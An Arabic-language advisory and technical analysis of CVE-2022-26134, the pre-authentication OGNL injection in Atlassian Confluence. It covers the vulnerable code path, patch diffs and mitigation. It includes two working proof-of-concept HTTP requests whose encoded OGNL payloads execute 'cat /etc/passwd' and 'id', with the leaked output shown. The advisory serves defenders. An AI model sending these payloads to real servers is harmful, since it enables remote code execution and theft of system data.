
[CVE-2022-26134] حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence
[CVE-2022-26134] حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence
Confluence هو منتج تعاوني قائم على الويب لمساحات العمل، تم تطويره بواسطة Atlassian. يمكن نشره محليًا (on-prem) أو كجزء من Atlassian Cloud. يتكوّن من 3 ميزات رئيسية: الصفحة، والمساحة، وشجرة الصفحات.
في 2022-06-02 الساعة 20:00 UTC، أصدرت Atlassian نشرة أمنية تتعلق بثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) تؤثر على منتجات Confluence Server وConfluence Data Center. يمكنك العثور على معلومات مفصلة حول ثغرة CVE-2022-26134 في الأسفل.
الملخص: CVE-2022-26134 - ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة بخطورة حرجة في Confluence Server وData Center
تاريخ إصدار النشرة: 02 يونيو 2022
المنتجات المتأثرة: Confluence Server وConfluence Data Center
الإصدارات المتأثرة: جميع الإصدارات المدعومة من Confluence Server وData Center متأثرة. الإصدارات الأحدث من 1.3.0 من Confluence Server وData Center متأثرة.
الإصدارات المُصححة: 7.4.17، 7.13.7، 7.14.3، 7.15.2، 7.16.4، 7.17.4 و7.18.1
معرّف (معرّفات) CVE: CVE-2022-26134 حقن لغة التنقل في الرسم البياني للكائنات (OGNL) قبل المصادقة في Confluence
إثبات المفهوم: طلب نموذجي 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
الاستجابة 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

إثبات المفهوم: طلب نموذجي 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
الاستجابة 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
كيف تعمل الثغرة؟
يقوم Confluence بتحليل /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ في عنوان URL كمساحة اسم (namespace). ثم يستخدم الكود translateVariables (جزء من أدوات تحليل النصوص في Confluence) على هذه المساحة. ولأن translateVariables يستخدم OGNL، فسيتم تحليل الهجوم وتقييمه.
تعتبر findValue(str) في OgnlValueStack مهمة لأنها نقطة البداية لتقييم تعبير OGNL. وكما ترى في المقتطف أدناه، يستدعي TextParseUtil.class الدالة OgnlValueStack.findValue عند استغلال هذه الثغرة.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
يستدعي ActionChainResult.class الدالة TextParseUtil.translateVariables باستخدام this.namespace كتعبير مُمرَر:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
حيث يتم إنشاء namespace من سلسلة URI الخاصة بالطلب في com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
النتيجة هي أن عنوان URI الذي يوفره المهاجم سيتم تحويله إلى namespace، والذي سيجد طريقه بعد ذلك إلى تقييم تعبير OGNL. على مستوى عالٍ، هذا مشابه جدًا لـ CVE-2018-11776، ثغرة حقن OGNL في namespace الخاصة بـ Apache Struts2.
تحليل التصحيح
وجّهت Atlassian العملاء إلى استبدال xwork-1.0.3.6.jar بـ xwork-1.0.3-atlassian-10.jar المُصدر حديثًا. تحتوي ملفات JAR الخاصة بـ xwork على ActionChainResult.class وTextParseUtil.class اللذين حددناهما كمسار لتقييم تعبير OGNL.
يُجري التصحيح عددًا من التغييرات الصغيرة لإصلاح هذه المشكلة. على سبيل المثال، لم يعد namespace يُمرَّر إلى TextParseUtil.translateVariables من ActionChainResult.execute:
قبل
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
بعد
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
بفضل مخرجات أمر git diff، يمكنك رؤية الاختلافات قبل التصحيح وبعده في ActionChainResult.class في لقطة الشاشة أدناه. (منسوخ من مقال Datalog)
أضافت Atlassian أيضًا SafeExpressionUtil.class إلى xworks jar. يوفر SafeExpressionUtil.class تصفية للتعبيرات غير الآمنة، وقد تم إدراجه في OgnlValueStack.class لفحص التعبيرات عند استدعاء findValue. على سبيل المثال:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
ماذا يمكن للمؤسسات فعله للحماية من هذه الثغرة؟
الآن بعد أن أصبح التصحيح متاحًا، يرجى الترقية إلى إصدار مُصحح من Confluence. إذا لم يكن تطبيق التصحيح ممكنًا في الوقت الحالي، فقد قدمت Atlassian تعليمات مؤقتة للتجاوز (workaround) للعملاء بناءً على إصدارات Confluence الخاصة بهم. وكلاهما يتطلب إيقاف تشغيل Confluence مؤقتًا أثناء تطبيق الإجراءات التخفيفية. لمزيد من المعلومات، يُرجى الرجوع إلى الإرشادات المحددة من نشرة Atlassian الأمنية:
لمزيد من المعلومات حول معالجة هذه الثغرة، يرجى زيارة الموارد التالية: